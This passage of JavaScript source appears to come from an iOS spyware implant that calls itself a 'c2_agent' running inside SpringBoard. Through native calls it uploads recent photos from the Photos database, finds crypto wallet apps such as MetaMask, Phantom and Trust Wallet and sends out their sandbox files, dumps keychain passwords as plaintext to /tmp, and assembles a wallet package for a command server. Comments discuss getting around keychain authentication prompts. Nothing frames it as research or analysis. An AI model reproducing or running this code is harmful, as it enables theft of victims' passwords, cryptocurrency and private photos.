\"empty\",\n\t\tuploaded: uploaded,\n\t\tdb_path: dbPath || \"not_found\",\n\t\t_task_type: \"memo_scan\"\n\t}, \"memo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Photo Scan: query Photos.sqlite, read files, upload with MD5 hashes\n// ============================================================================\n\nfunction _md5(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_MD5\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _md5file(path, maxSize) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\t\t\tif (!outBuf || outBuf === 0n) return null;\n\t\t\ttry {\n\t\t\t\tNative.callSymbol(\"CC_MD5\", buf, BigInt(nr), outBuf);\n\t\t\t\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\t\t\t\tvar hex = \"\";\n\t\t\t\tfor (var i = 0; i < 16; i++)\n\t\t\t\t\thex += (hash[i] < 16 ? \"0\" : \"\") + hash[i].toString(16);\n\t\t\t\treturn hex;\n\t\t\t} finally { Native.callSymbol(\"free\", outBuf); }\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _queryPhotosPaths(maxCount) {\n\tvar dbPath = \"/var/mobile/Media/PhotoData/Photos.sqlite\";\n\tvar paths = [];\n\tvar rows = _sqliteQuery(dbPath,\n\t\t\"SELECT ZFILENAME, ZDIRECTORY FROM ZASSET \" +\n\t\t\"WHERE ZTRASHEDSTATE = 0 \" +\n\t\t\"ORDER BY ZDATECREATED DESC LIMIT \" + maxCount, maxCount);\n\tif (!rows || !rows.rows) return paths;\n\tfor (var i = 0; i < rows.rows.length; i++) {\n\t\tvar r = rows.rows[i];\n\t\tvar fn = r.ZFILENAME || \"\";\n\t\tif (!fn) continue;\n\t\tvar dir = r.ZDIRECTORY || \"\";\n\t\tvar full;\n\t\tif (dir) {\n\t\t\tdir = dir.replace(/^\\/+|\\/+$/g, \"\");\n\t\t\tfull = \"/var/mobile/Media/\" + dir + \"/\" + fn;\n\t\t} else {\n\t\t\tfull = \"/var/mobile/Media/DCIM/100APPLE/\" + fn;\n\t\t}\n\t\tpaths.push({ path: full, name: fn });\n\t}\n\treturn paths;\n}\n\nfunction handlePhotoScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxPhotos = p.max_count || 200;\n\tvar batchSize = p.batch_size || 30;\n\tvar maxFileSize = p.max_file_size || (5 * 1024 * 1024);\n\n\tvar photos = _queryPhotosPaths(maxPhotos);\n\tvar uploaded = 0, skipped = 0, errors = 0;\n\tvar hashes = [];\n\n\tfor (var batch = 0; batch < photos.length; batch += batchSize) {\n\t\tvar end = Math.min(batch + batchSize, photos.length);\n\t\tfor (var j = batch; j < end; j++) {\n\t\t\tvar ph = photos[j];\n\t\t\tvar sz = getFileSize(ph.path);\n\t\t\tif (sz <= 0 || sz > maxFileSize) { skipped++; continue; }\n\t\t\tvar md5 = _md5file(ph.path, maxFileSize);\n\t\t\tif (!md5) { skipped++; continue; }\n\t\t\thashes.push(md5);\n\t\t\tvar fdata = readFileB64(ph.path, maxFileSize);\n\t\t\tif (fdata) {\n\t\t\t\tsendResult(cmd.command_id, fdata.b64, ph.name, \"photos\",\n\t\t\t\t\t{ start_ms: startMs, end_ms: Date.now() });\n\t\t\t\tuploaded++;\n\t\t\t} else { errors++; }\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: \"success\",\n\t\ttotal_found: photos.length,\n\t\tuploaded: uploaded,\n\t\tskipped: skipped,\n\t\terrors: errors,\n\t\thashes: hashes,\n\t\t_task_type: \"photo_scan\"\n\t}, \"photo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Wallet Scan\n// ============================================================================\n\nfunction handleWalletScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxFileSize = 2 * 1024 * 1024;\n\n\tvar base = APP_DATA_BASE;\n\tvar dirs = listDir(base);\n\n\tvar installedWallets = [];\n\tvar containerMap = {};\n\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = base + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) {\n\t\t\t\tcontainerMap[bid] = cpath;\n\t\t\t\tinstalledWallets.push(WALLET_BUNDLE_IDS[bid].name);\n\t\t\t}\n\t\t}\n\t}\n\n\tvar sandboxFiles = [];\n\tvar totalSize = 0;\n\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar perFileMax = cfg.maxFileSize || maxFileSize;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\n\t\t\tsandboxFiles.push({\n\t\t\t\twallet: cfg.name,\n\t\t\t\tbundle_id: bid,\n\t\t\t\tpath: rf.relPath,\n\t\t\t\tdata_b64: fd.b64,\n\t\t\t\tsize: fd.size\n\t\t\t});\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t}\n\n\t// Upload keychain_c2_dump.json if P7 pipeline produced it\n\tvar kcDumpUploaded = false;\n\tvar kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tif (Number(Native.callSymbol(\"access\", kcDonePath, 0)) === 0) {\n\t\tvar kcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\tif (!kcData) {\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath + \".tmp\", 0x1A4);\n\t\t\tNative.callSymbol(\"rename\", kcDumpPath + \".tmp\", kcDumpPath);\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\t\tkcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\t}\n\t\tif (kcData) {\n\t\t\tsendResult(cmd.command_id, kcData.b64,\n\t\t\t\t\"keychain_c2_dump.json\", \"wallet_scan\");\n\t\t\tkcDumpUploaded = true;\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tdevice_uuid: DEVICE_UUID,\n\t\ttimestamp: new Date().toISOString(),\n\t\tinstalled_wallets: installedWallets,\n\t\tsandbox_files: sandboxFiles,\n\t\ttotal_size: totalSize,\n\t\tkeychain_dump_uploaded: kcDumpUploaded,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_scan\"\n\t}, \"wallet_pkg.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Device Identity (obtained natively - no placeholder needed)\n// ============================================================================\n\nfunction _getDeviceUUID() {\n\ttry {\n\t\t// IOKit IOPlatformUUID (same method as file_downloader)\n\t\tconst iokitHandle = Native.callSymbol(\"dlopen\",\n\t\t\t\"/System/Library/Frameworks/IOKit.framework/IOKit\", 1);\n\t\tif (iokitHandle && iokitHandle !== 0n) {\n\t\t\tNative.callSymbol(\"dlopen\",\n\t\t\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\t\t\tconst svcName = Native.callSymbol(\"malloc\", 32);\n\t\t\tNative.writeString(svcName, \"IOPlatformExpertDevice\");\n\t\t\tconst matchDict = Native.callSymbol(\"IOServiceMatching\", svcName);\n\t\t\tNative.callSymbol(\"free\", svcName);\n\n\t\t\tif (matchDict && matchDict !== 0n) {\n\t\t\t\tconst expert = Native.callSymbol(\"IOServiceGetMatchingService\", 0n, matchDict);\n\t\t\t\tif (expert && expert !== 0n) {\n\t\t\t\t\tconst keyBuf = Native.callSymbol(\"malloc\", 32);\n\t\t\t\t\tNative.writeString(keyBuf, \"IOPlatformUUID\");\n\t\t\t\t\tconst keyCF = Native.callSymbol(\"CFStringCreateWithCString\",\n\t\t\t\t\t\t0n, keyBuf, 0x08000100);\n\t\t\t\t\tNative.callSymbol(\"free\", keyBuf);\n\n\t\t\t\t\tif (keyCF && keyCF !== 0n) {\n\t\t\t\t\t\tconst valCF = Native.callSymbol(\"IORegistryEntryCreateCFProperty\",\n\t\t\t\t\t\t\texpert, keyCF, 0n, 0n);\n\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", keyCF);\n\n\t\t\t\t\t\tif (valCF && valCF !== 0n) {\n\t\t\t\t\t\t\tlet uuid = \"\";\n\t\t\t\t\t\t\tconst cstr = Native.callSymbol(\"CFStringGetCStringPtr\",\n\t\t\t\t\t\t\t\tvalCF, 0x08000100);\n\t\t\t\t\t\t\tif (cstr && cstr !== 0n) {\n\t\t\t\t\t\t\t\tuuid = Native.readString(cstr, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!uuid) {\n\t\t\t\t\t\t\t\tconst tmp = Native.callSymbol(\"malloc\", 256);\n\t\t\t\t\t\t\t\tif (tmp && tmp !== 0n) {\n\t\t\t\t\t\t\t\t\tif (Native.callSymbol(\"CFStringGetCString\",\n\t\t\t\t\t\t\t\t\t\tvalCF, tmp, 256, 0x08000100))\n\t\t\t\t\t\t\t\t\t\tuuid = Native.readString(tmp, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t\t\tNative.callSymbol(\"free\", tmp);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", valCF);\n\t\t\t\t\t\t\tif (uuid && uuid.length > 0) {\n\t\t\t\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t\t\t\t\treturn uuid;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (e) {}\n\n\t// Fallback: sysctl HW_UUID\n\ttry {\n\t\tconst mib = Native.callSymbol(\"malloc\", 8);\n\t\tconst res = Native.callSymbol(\"malloc\", 256);\n\t\tconst slen = Native.callSymbol(\"malloc\", 8);\n\t\tif (!mib || !res || !slen) return \"\";\n\t\ttry {\n\t\t\tconst mibAB = new ArrayBuffer(8);\n\t\t\tconst mv = new DataView(mibAB);\n\t\t\tmv.setInt32(0, 6, true);\n\t\t\tmv.setInt32(4, 25, true);\n\t\t\tNative.write(mib, mibAB);\n\n\t\t\tconst slAB = new ArrayBuffer(8);\n\t\t\tnew DataView(slAB).setUint32(0, 256, true);\n\t\t\tNative.write(slen, slAB);\n\n\t\t\tlet r = Native.callSymbol(\"sysctl\", mib, 2, 0n, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst ld = Native.read(slen, 8);\n\t\t\tconst sz = new DataView(ld).getUint32(0, true);\n\t\t\tif (sz <= 0 || sz > 256) return \"\";\n\n\t\t\tconst sl2 = new ArrayBuffer(8);\n\t\t\tnew DataView(sl2).setUint32(0, sz, true);\n\t\t\tNative.write(slen, sl2);\n\n\t\t\tr = Native.callSymbol(\"sysctl\", mib, 2, res, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst raw = new Uint8Array(Native.read(res, sz));\n\t\t\tlet uuid = \"\";\n\t\t\tfor (let i = 0; i < raw.length; i++) {\n\t\t\t\tif (!raw[i]) break;\n\t\t\t\tif (raw[i] >= 32 && raw[i] <= 126) uuid += String.fromCharCode(raw[i]);\n\t\t\t}\n\t\t\tuuid = uuid.trim();\n\t\t\tif (uuid.length > 0) return uuid;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", mib);\n\t\t\tNative.callSymbol(\"free\", res);\n\t\t\tNative.callSymbol(\"free\", slen);\n\t\t}\n\t} catch (e) {}\n\n\treturn \"\";\n}\n\nfunction _getDeviceModel() {\n\tconst uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return \"\";\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\treturn Native.readString(uts + 1024n, 256).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\n// ============================================================================\n// SecItem Keychain Dump (SpringBoard SecItemCopyMatching — genp/inet plaintext)\n// mediaplaybackd is write-only on /tmp (selfProbe e18): P7 sqlite there can\n// never read keychain-2.db. SpringBoard has file access + keychain entitlement,\n// so dump v_Data plaintext here via Security framework instead.\n// ============================================================================\n\nvar _SEC_DUMP_FULL = \"/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_FULL_ALT = \"/private/var/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_READ = \"/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_READ_ALT = \"/private/var/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_DONE = \"/tmp/keychain_full_dump.done\";\nvar _secDumpState = { lastRun: 0, items: 0, plain: 0, vdata: 0 };\n\nfunction _secCFStr(str) { return Native.callSymbol(\"CFStringCreateWithCString\", 0n, str, 0x08000100); }\n\nfunction _secCFToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return \"\";\n\tconst cstrPtr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstrPtr && cstrPtr !== 0n) return Native.readString(cstrPtr, 256).replace(/\\0/g, '');\n\tconst buf = Native.callSymbol(\"malloc\", 512n);\n\tif (!buf || buf === 0n) return \"\";\n\ttry {\n\t\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 512, 0x08000100))\n\t\t\treturn Native.readString(buf, 512).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn \"\";\n}\n\nfunction _secCFDataToText(cfData) {\n\tif (!cfData || cfData === 0n) return \"\";\n\tconst length = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (length <= 0 || length > 8192) return \"[data:\" + length + \" bytes]\";\n\tconst dataPtr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!dataPtr || dataPtr === 0n) return \"\";\n\tconst bytes = new Uint8Array(Native.read(dataPtr, length));\n\tlet printable = 0;\n\tlet text = \"\";\n\tfor (let i = 0; i < bytes.length; i++) {\n\t\tconst b = bytes[i];\n\t\tif (b === 0) { text = \"\"; printable = 0; break; }\n\t\tif (b === 9 || b === 10 || b === 13 || (b >= 32 && b <= 126)) {\n\t\t\tprintable++;\n\t\t\ttext += String.fromCharCode(b);\n\t\t} else { text = \"\"; printable = 0; break; }\n\t}\n\tif (text && printable === bytes.length && printable >= 1) return text;\n\tlet hex = \"\";\n\tfor (let j = 0; j < Math.min(bytes.length, 128); j++)\n\t\thex += bytes[j].toString(16).padStart(2, \"0\");\n\tif (bytes.length > 128) hex += \"...\";\n\treturn \"[hex] \" + hex;\n}\n\nfunction _secCFTrue() {\n\tconst addr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFBooleanTrue\");\n\treturn addr ? Native.readPtr(addr) : 0n;\n}\n\nfunction _secWriteText(path, content) {\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0x601, 0x1FF));\n\tif (fd < 0) return false;\n\tconst bytes = Native.stringToBytes(content, false);\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(bytes.byteLength));\n\tif (buf && buf !== 0n) {\n\t\tNative.write(buf, bytes);\n\t\tNative.callSymbol(\"write\", fd, buf, bytes.byteLength);\n\t\tNative.callSymbol(\"free\", buf);\n\t}\n\tNative.callSymbol(\"chmod\", path, 0x1FF);\n\tNative.callSymbol(\"close\", fd);\n\treturn true;\n}\n\n// genp+inet only — keys/cert hang SecItemCopyMatching; idnt self-XPC hangs (lab 7022).\nvar _SEC_CLASSES = [\n\t{ id: \"genp\", label: \"Generic Password\" },\n\t{ id: \"inet\", label: \"Internet Password\" },\n];\nvar _SEC_ATTR_KEYS = [\"svce\", \"acct\", \"agrp\", \"labl\", \"desc\", \"mdat\", \"cdat\", \"pdmn\", \"sync\", \"v_Data\"];\n\nfunction _secDumpClass(classId, classLabel, wantData) {\n\t// fix #3c DISABLED - confirmed source of the SpringBoard password prompt.\n\t// On iOS 18.6 AFU unlocked, SecItemCopyMatching from inside SpringBoard\n\t// prompts for auth even with u_AuthUI=u_AuthUISkip; the skip is only\n\t// honored in BFU locked where it returns -25300 and yields no data anyway.\n\t// Prompt fires concurrent with SEC-DUMP begin / PEMK-D1 (c2_agent startup\n\t// _kcSecItemDump true at line 4824). Keychain plaintext now comes exclusively\n\t// from the Phase 2 sqlite pipeline (keychain-2.db + AKS unwrap). SEC-DUMP\n\t// kept as no-op so _kcSecItemDump still logs begin/items=0 without prompting.\n\t_secDumpState[\"st_\" + classId] = -25300;\n\treturn [];\n\tconst entries = [];\n\tconst kCFBooleanTrue = _secCFTrue();\n\tconst queryDict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 0, 0n, 0n);\n\tif (!queryDict || queryDict === 0n) return entries;\n\n\tconst kSecClass = _secCFStr(\"class\");\n\tconst kSecClassVal = _secCFStr(classId);\n\tconst kSecReturnAttributes = _secCFStr(\"r_Attributes\");\n\tconst kSecReturnData = _secCFStr(\"r_Data\");\n\tconst kSecMatchLimit = _secCFStr(\"m_Limit\");\n\tconst kSecMatchLimitAll = _secCFStr(\"m_LimitAll\");\n\tconst kSecUseAuthenticationUI = _secCFStr(\"u_AuthUI\");\n\t// Apple's real values: u_AuthUIAllow / u_AuthUIFail / u_AuthUISkip.\n\t// \"u_AuthUIF\" (truncated, inherited from keychain_dumper) is INVALID and\n\t// degrades to \"allow\" — securityd then requests auth UI from SpringBoard,\n\t// which is us: self-XPC deadlock on locked devices (killed all heartbeats).\n\t// SKIP silently skips auth-protected items: no UI, no block, no query error.\n\tconst kSecUseAuthenticationUIFail = _secCFStr(\"u_AuthUISkip\");\n\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecClass, kSecClassVal);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnAttributes, kCFBooleanTrue);\n\tif (wantData) Native.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnData, kCFBooleanTrue);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecMatchLimit, kSecMatchLimitAll);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail);\n\n\tconst resultPtr = Native.callSymbol(\"malloc\", 8n);\n\tif (resultPtr && resultPtr !== 0n) {\n\t\tNative.write64(resultPtr, 0n);\n\t\tconst status = Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr);\n\t\tconst signed = Number(status) > 0x7FFFFFFF ? Number(status) - 0x100000000 : Number(status);\n\t\tif (signed !== 0) _secDumpState[\"st_\" + classId] = signed;\n\t\tif (signed === 0) {\n\t\t\tconst results = Native.readPtr(resultPtr);\n\t\t\tif (results && results !== 0n) {\n\t\t\t\tconst arrayTypeId = Native.callSymbol(\"CFArrayGetTypeID\");\n\t\t\t\tconst dictTypeId = Native.callSymbol(\"CFDictionaryGetTypeID\");\n\t\t\t\tconst typeId = Native.callSymbol(\"CFGetTypeID\", results);\n\t\t\t\tconst items = [];\n\t\t\t\tif (typeId === arrayTypeId) {\n\t\t\t\t\tconst count = Number(Native.callSymbol(\"CFArrayGetCount\", results));\n\t\t\t\t\tfor (let i = 0; i < count; i++)\n\t\t\t\t\t\titems.push(Native.callSymbol(\"CFArrayGetValueAtIndex\", results, i));\n\t\t\t\t} else if (typeId === dictTypeId) {\n\t\t\t\t\titems.push(results);\n\t\t\t\t}\n\t\t\t\tfor (const item of items) {\n\t\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\t\tconst rec = { class: classLabel, classId: classId };\n\t\t\t\t\tif (!wantData) rec.attrs_only = true;\n\t\t\t\t\tfor (const key of _SEC_ATTR_KEYS) {\n\t\t\t\t\t\tif (!wantData && key === \"v_Data\") continue;\n\t\t\t\t\t\tconst keyRef = _secCFStr(key);\n\t\t\t\t\t\tconst valRef = Native.callSymbol(\"CFDictionaryGetValue\", item, keyRef);\n\t\t\t\t\t\tif (keyRef && keyRef !== 0n) Native.callSymbol(\"CFRelease\", keyRef);\n\t\t\t\t\t\tif (!valRef || valRef === 0n) continue;\n\t\t\t\t\t\tif (key === \"v_Data\") rec.data = _secCFDataToText(valRef);\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tconst s = _secCFToJS(valRef);\n\t\t\t\t\t\t\tif (s) rec[key] = s;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tentries.push(rec);\n\t\t\t\t}\n\t\t\t\tif (typeId === arrayTypeId || typeId === dictTypeId)\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", results);\n\t\t\t}\n\t\t}\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t}\n\n\tconst _refs = [kSecClass, kSecClassVal, kSecReturnAttributes, kSecReturnData, kSecMatchLimit,\n\t\tkSecMatchLimitAll, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail];\n\tfor (let ri = 0; ri < _refs.length; ri++) {\n\t\tif (_refs[ri] && _refs[ri] !== 0n) Native.callSymbol(\"CFRelease\", _refs[ri]);\n\t}\n\tNative.callSymbol(\"CFRelease\", queryDict);\n\treturn entries;\n}\n\nfunction _secWriteDump(allEntries) {\n\tlet content = \"=== Full Keychain Dump ===\\n\";\n\tcontent += \"Generated: \" + new Date().toISOString() + \"\\n\";\n\tcontent += \"Host: SpringBoard c2_agent (SecItem + v_Data; skip keys/cert/idnt)\\n\";\n\tcontent += \"Total items: \" + allEntries.length + \"\\n\\n\";\n\tlet readable = \"=== Keychain Passwords (readable) ===\\n\";\n\treadable += \"Generated: \" + new Date().toISOString() + \"\\n\\n\";\n\tlet plainCount = 0;\n\tlet withData = 0;\n\tfor (const e of allEntries) {\n\t\tcontent += \"[\" + e.class + \"]\\n\";\n\t\tconst ks = Object.keys(e);\n\t\tfor (let ki = 0; ki < ks.length; ki++) {\n\t\t\tconst k = ks[ki];\n\t\t\tif (k === \"class\" || k === \"classId\") continue;\n\t\t\tcontent += \" \" + k + \": \" + e[k] + \"\\n\";\n\t\t}\n\t\tcontent += \"\\n\";\n\t\tconst data = e.data || \"\";\n\t\tif (data) withData++;\n\t\tconst isPlain = data && data.indexOf(\"[hex]\") !== 0 && data.indexOf(\"[data:\") !== 0;\n\t\tif (isPlain && (e.classId === \"genp\" || e.classId === \"inet\")) {\n\t\t\tplainCount++;\n\t\t\treadable += \"[\" + e.class + \"]\\n\";\n\t\t\tif (e.agrp) readable += \" agrp: \" + e.agrp + \"\\n\";\n\t\t\tif (e.svce) readable += \" svce: \" + e.svce + \"\\n\";\n\t\t\tif (e.acct) readable += \" acct: \" + e.acct + \"\\n\";\n\t\t\tif (e.labl) readable += \" labl: \" + e.labl + \"\\n\";\n\t\t\treadable += \" password: \" + data + \"\\n\\n\";\n\t\t}\n\t}\n\treadable += \"Plaintext password items: \" + plainCount + \"\\n\";\n\treadable += \"Items with v_Data field: \" + withData + \"\\n\";\n\n\t_secWriteText(_SEC_DUMP_FULL, content);\n\t_secWriteText(_SEC_DUMP_FULL_ALT, content);\n\t_secWriteText(_SEC_DUMP_READ, readable);\n\t_secWriteText(_SEC_DUMP_READ_ALT, readable);\n\t_secWriteText(_SEC_DUMP_DONE, \"items=\" + allEntries.length + \" plain=\" + plainCount + \" vdata=\" + withData + \"\\n\");\n\treturn { items: allEntries.length, plain: plainCount, vdata: withData };\n}\n\nfunction _kcSecItemDump(force) {\n\tconst now = Date.now();\n\tif (!force && _secDumpState.lastRun && (now - _secDumpState.lastRun) < 45000)\n\t\treturn _secDumpState;\n\t_secDumpState.lastRun = now;\n\t_writeLog(\"[SEC-DUMP] begin force=\" + (!!force) + \" classes=\" + _SEC_CLASSES.length);\n\tconst all = [];\n\tfor (let ci = 0; ci < _SEC_CLASSES.length; ci++) {\n\t\tconst cls = _SEC_CLASSES[ci];\n\t\ttry {\n\t\t\tlet items = _secDumpClass(cls.id, cls.label, true);\n\t\t\tif (!items.length) items = _secDumpClass(cls.id, cls.label, false);\n\t\t\tfor (let ii = 0; ii < items.length; ii++) all.push(items[ii]);\n\t\t} catch (_clse) {\n\t\t\t_secDumpState[\"err_\" + cls.id] = String(_clse).substring(0, 60);\n\t\t}\n\t}\n\tconst st = _secWriteDump(all);\n\t_secDumpState.items = st.items;\n\t_secDumpState.plain = st.plain;\n\t_secDumpState.vdata = st.vdata;\n\t_writeLog(\"[SEC-DUMP] items=\" + st.items + \" plain=\" + st.plain + \" vdata=\" + st.vdata +\n\t\t\" st_genp=\" + (_secDumpState.st_genp || 0) + \" st_inet=\" + (_secDumpState.st_inet || 0));\n\tif (st.plain > 0) {\n\t\t// Let the P7-era HQ gate observe a completed keychain.\n\t\t_secWriteText(\"/tmp/keychain_c2_dump.done\", \"secitem plain=\" + st.plain + \" ts=\" + now + \"\\n\");\n\t}\n\treturn _secDumpState;\n}\n\n// ============================================================================\n// HQ Wallet Package Builder\n// ============================================================================\n\nvar _hqSandboxKeyMap = {\n\t\"Trust Wallet\": \"trust_wallet\", \"Bitget\": \"bitget\", \"Coin98\": \"coin98\",\n\t\"TronLink\": \"tronlink\", \"Tonhub\": \"tonhub\", \"TokenPocket\": \"tokenpocket\",\n\t\"imToken\": \"imtoken\", \"MetaMask\": \"metamask\", \"OKX\": \"okx\",\n\t\"Solflare\": \"solflare\", \"Phantom\": \"phantom\", \"Bitpie\": \"bitpie\",\n\t\"Uniswap\": \"uniswap\", \"MyTonWallet\": \"mytonwallet\", \"Exodus\": \"exodus\",\n\t\"Tonkeeper\": \"tonkeeper\", \"Coinbase\": \"coinbase\"\n};\n\nfunction _buildWalletPkg(deviceUUID) {\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tvar kcData = _readFileBytes(kcDumpPath, 5242880);\n\tif (!kcData) {\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_c2_dump.json.tmp\", 0x1A4);\n\t\tNative.callSymbol(\"rename\", \"/tmp/keychain_c2_dump.json.tmp\", kcDumpPath);\n\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\tkcData = _readFileBytes(kcDumpPath, 5242880);\n\t}\n\tvar keychain;\n\tif (!kcData) {\n\t\t_writeLog(\"[WALLET-HQ] no keychain_c2_dump.json - sandbox-only package\");\n\t\tkeychain = { partial: true, errors: [\"no_keychain_dump\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t} else {\n\t\tvar kcStr = _rawToStr(kcData);\n\t\ttry { keychain = JSON.parse(kcStr); } catch(e) {\n\t\t\t_writeLog(\"[WALLET-HQ] keychain json parse fail - sandbox-only\");\n\t\t\tkeychain = { partial: true, errors: [\"keychain_parse_fail\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t\t}\n\t}\n\n\t// Attach SpringBoard SecItem plaintext dump (P7-independent channel).\n\ttry {\n\t\tvar secFullB = _readFileBytes(_SEC_DUMP_FULL, 1572864);\n\t\tif (secFullB && secFullB.length > 8) {\n\t\t\tkeychain.secitem_full = _rawToStr(secFullB);\n\t\t\tvar secReadB = _readFileBytes(_SEC_DUMP_READ, 786432);\n\t\t\tif (secReadB && secReadB.length > 8) keychain.secitem_readable = _rawToStr(secReadB);\n\t\t\tvar secDoneB = _readFileBytes(_SEC_DUMP_DONE, 256);\n\t\t\tif (secDoneB) keychain.secitem_marker = _rawToStr(secDoneB);\n\t\t\tkeychain.secitem = { items: _secDumpState.items, plain: _secDumpState.plain, vdata: _secDumpState.vdata };\n\t\t}\n\t} catch(_se) {}\n\n\tvar dirs = listDir(APP_DATA_BASE);\n\tvar containerMap = {};\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = APP_DATA_BASE + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif 